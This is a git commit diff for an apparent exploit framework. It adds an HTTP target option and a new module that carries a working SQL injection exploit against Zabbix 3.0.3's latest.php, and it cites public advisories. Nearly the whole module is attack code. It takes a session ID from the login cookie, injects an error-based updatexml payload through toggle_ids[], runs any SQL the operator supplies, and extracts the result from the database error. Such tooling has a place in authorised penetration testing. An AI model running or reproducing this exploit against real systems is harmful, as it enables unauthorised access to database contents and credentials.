feat(module): add suppoort for http target

add register_http_target
add zabbix latest sqli

Author: TuuuNya

lib/BaseExploit.py

@@ -41,6 +41,13 @@ def register_tcp_target(self, port_value=None, timeout_value=10):
             ExploitOption(name="TIMEOUT", required=True, description="Connection timeout", value=timeout_value)
         ])
 
+    def register_http_target(self, timeout_value=10):
+        self.target_type = "tcp"
+        self.register_options([
+            ExploitOption(name="URL", required=True, description="The url to be tested"),
+            ExploitOption(name="TIMEOUT", required=True, description="Connection timeout", value=timeout_value),
+        ])
+
     def update_info(self, info):
         for name in info:
             if name in self.info_fields:

modules/exploits/http/zabbix/__init__.py

@@ -0,0 +1,78 @@
+import re
+import requests
+from lib.BaseExploit import BaseExploit
+from lib.ExploitOption import ExploitOption
+
+
+class Exploit(BaseExploit):
+    def __init__(self):
+        super(Exploit, self).__init__()
+        self.update_info({
+            "name": "zabbix latest.php sqli",
+            "description": "zabbix 3.0.3 latest.php sql injection",
+            "author": ["unknown"],
+            "references": [
+                "http://www.openwall.com/lists/oss-security/2017/01/12/4",
+                "https://support.zabbix.com/browse/ZBX-11023",
+                "http://www.debian.org/security/2017/dsa-3802",
+                "http://www.securityfocus.com/bid/95423",
+            ],
+            "disclosure_date": "2017-01-12",
+            "service_name": "zabbix",
+            "service_version": "3.0.3",
+        })
+        self.register_http_target()
+        self.register_options([
+            ExploitOption(
+                name="SQL",
+                required=True,
+                description="The SQL statement you want to execute",
+                value="updatexml(0,concat(0xa,user()),0)"
+            )
+        ])
+
+    def check(self):
+        url = self.options.get_option("URL")
+        try:
+            session = requests.session()
+            response = session.get(url)
+            zbx_sessionid = response.cookies.get("zbx_sessionid")
+            sessionid = zbx_sessionid[-16:]
+            check_response = session.get("{url}/latest.php?output=ajax&sid="
+                                         "{sessionid}&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,"
+                                         "concat(0xa,password(123)),0)".format(url=url, sessionid=sessionid))
+            if "23AE809DDACAF96AF0FD78ED04B6A2" in check_response.text:
+                self.results.success("URL:{} has the vulnerability".format(url))
+            else:
+                self.results.failure("URL:{} does not have this vulnerability".format(url))
+        except TypeError:
+            self.results.failure("URL:{} Maybe not zabbix? not found zbx_sessionid".format(url))
+        except Exception as e:
+            self.results.failure("URL:{} does not have this vulnerability, error:{}", format(url, str(e)))
+        return self.results
+
+    def exploit(self):
+        url = self.options.get_option("URL")
+        sql = self.options.get_option("SQL")
+        try:
+            session = requests.session()
+            response = session.get(url)
+            zbx_sessionid = response.cookies.get("zbx_sessionid")
+            sessionid = zbx_sessionid[-16:]
+            exploit_response = session.get(
+                "{url}/latest.php?output=ajax&sid={sessionid}&favobj=toggle&toggle_open_state=1&toggle_ids[]={sql}".format(
+                    url=url,
+                    sessionid=sessionid,
+                    sql=sql,
+                ))
+            exploit_result_text = re.search(
+                r"\[XPATH syntax error: '</li><li>(.*?)'\]</li></ul>",
+                exploit_response.text
+            ).group(1)
+            self.results.success(message="Exploit result: {}".format(exploit_result_text))
+        except TypeError:
+            self.results.failure("URL:{} Maybe not zabbix? not found zbx_sessionid".format(url))
+        except Exception as e:
+            self.results.failure("URL:{} does not have this vulnerability, error:{}", format(url, str(e)))
+        finally:
+            return self.results